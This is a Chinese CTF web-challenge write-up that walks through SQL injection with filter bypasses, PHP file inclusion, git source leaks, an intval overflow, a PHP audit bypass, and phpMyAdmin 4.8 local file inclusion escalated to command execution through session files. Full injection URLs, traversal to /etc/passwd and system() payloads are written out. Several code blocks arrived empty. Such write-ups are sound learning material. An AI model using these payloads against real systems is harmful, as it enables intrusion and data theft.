0x01 前言
第一次正式参加这种CTF,写题的时候发现了很多不足,基础不够扎实,还是得艰苦奋斗。。
0x02 Write Up
签到题
最爱做签到题了 hhhhhhh
直接Bp抓包 可以得到flag
滴!晨跑打卡
打开是一个搜索功能的index,应该是考察sql注入,于是手工fuzz测试过滤的字符
其中空格、双引号、减号被过滤,可以用%a0
或者/**/
替代空格
1.爆出位置
1 | http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,2,3%a0and%a0'1'='1 |
2.爆出数据库
1 | http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(schema_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.SCHEMATA),3%a0and%a0'1'='1 |
3.爆出表名
1 | http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(table_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.TABLES%a0WHERE%a0TABLE_SCHEMA=0x666c6161616161616167),3%a0and%a0'1'='1 |
4.爆出列名
1 | http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(column_name%a0SEPARATOR%a00x3c62723e)%a0FROM%a0INFORMATION_SCHEMA.COLUMNS%a0WHERE%a0TABLE_NAME=0x6631343434343434343467),3%a0and%a0'1'='1 |
5.爆出 flaaaaaaag
库、 f144444444g
表、th1s_1s_flag
列中的数据得到flag
1 | http://ctfgame.acdxvfsvd.net:20001/index.php?id=1'%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3%a0and%a0'1'='1 |
Go Lakers
打开是302跳转,于是用Bp抓包,得到<!-- post me viewsource -->
提示,于是post提交viewsource
得到源码:
1 | <?php |
存在文件包含,并且有个decode方法,于是本地构造一个encode方法:
1 |
|
提交file_=Zm5lbTZ6dH4=
可获得flag!!!!!
全球最大交友网站
这题从名字上来看,知道是git源码泄露,于是用GitHack.py获取到了一个README
文件,
Allsource files areingit tag1.0
但是此后再无思路,于是借鉴了这篇博客
https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
中的利用方法。
第一次利用gitcommit.py 脚本,发现运行失败。
第二次利用scrabble工具,成功获取.git文件并查看历史
有过三次 commit,当前 head 指向 hint 这次 commit,
于是第一次,git show HEAD 6b21
发现flag已经很接近了,于是show 上一次commit
得到flag。
基本操作
打开网站是一个phpmyadmin的登录界面,于是想尝试暴力破解,但是发现这个版本的phpmyadmin有个BUG,就是会出现https not instead of http
警告,无法进行爆破。。于是就搁浅了。。知道看到一个师傅的WP才找到账密–>guest:guest
登录成功后,发现这个是phpmyadmin 4.8版本的,于是百度了一下,找到了一个本地文件包含的漏洞。
提交
1 | http://ctfgame.acdxvfsvd.net:20006/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
发现存在漏洞,于是进行下一步,写一句话。
然后提交:
1 | http://ctfgame.acdxvfsvd.net:20006/index.php?yoga=phpinfo();&target=db_sql.php%253f/../../../../../../../../tmp/sess_0cv2r59bqn4sl0nn3farp6nov55vuvp4 |
查看根目录下的文件
1 | http://ctfgame.acdxvfsvd.net:20006/index.php?yoga=@print_r(scandir(%22../../../../%22));&target=db_sql.php%253f/../../../../../../../../tmp/sess_0cv2r59bqn4sl0nn3farp6nov55vuvp4 |
发现了一个nctfffffffff
文件
然后执行命令进行查看:
1 | http://ctfgame.acdxvfsvd.net:20006/index.php?yoga=@system("cat ../../../../nctfffffffff");&target=db_sql.php%3f/../../../../../../../../tmp/sess_0cv2r59bqn4sl0nn3farp6nov55vuvp4 |
小绿草之最强大脑
右键查看源码,发现hint:<!--源码泄露了解一下?-->
于是尝试了下git、svn、bak等发现了index.php.bak
1 |
|
关键信息:
- input 的变量经过了 php 的
intval
处理 - 计算时间要在 1-2 秒之间
- 答对次数会累加
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
假如我们输入4200000000000000000000
经过intval处理后,
1 | <?php echo intval('4200000000000000000000');?> |
题目的操作系统是 64 位的,所以我们输入的这个值经过 php 防止溢出处理后的实际值为9223372036854775807
找了下师傅写的脚本
1 | #encoding=utf-8 |
可以跑出flag
easy_audit
打开可以直接得到源码
1 |
|
看了官方WP提示发现,这里有好几个Trick:
$_REQUEST
变量虽然说是包含$_GET,$_POST,$_COOKIE
这些,但实际上却存在一个覆盖的问题,就是当 get 和 post 中有一个同名变量 data 时,在 request变量数组 中只会有一个名为 data 的变量,并且获取的是 post 的值。通过这样的覆盖,从而绕过对 get 变量的值的过滤。$_SERVER['QUERY_STRING']
这里的bypass,这个点应该是比较常见的了,$_SERVER['QUERY_STRING']
获取的值是未经urldecode的,所以直接编码一下就好了。- 数组这里,fuzz一下,很容易发现数组是可绕的(参见同类型的漏洞也容易想到)。
- file_get_contents 这里要用伪协议其实很容易想到,但很多人似乎就想着用
php://input
,这里因为要去覆盖$_REQUEST
,所以假如是用 post 去覆盖的话,就不能用php://input
了。最简单的,用data://
协议就好了。
于是构造出payload
1 | http://ctfgame.acdxvfsvd.net:20007/index.php?yulige[]=1&nctf=123nctfisfun&flag=data://text/plain,ccc_liubi |
然后对关键字进行URL编码之后,提交可以获得flag。
1 | POST index.php?%79%75%6c%69%67%65[]=1&%6e%63%74%66=123%6e%63%74%66isfun&%66%6c%61%67=data://text/plain,ccc_liubi HTTP/1.1 |
未完待续…..
0x03 后记
第一次做这么综合的综合题,那个.git源码泄露可以说是非常重要了,得下去恶补github工作机制了,还有平时多积累些主流CMS的漏洞…..emmmmmm 最后一点 goSpursgo!!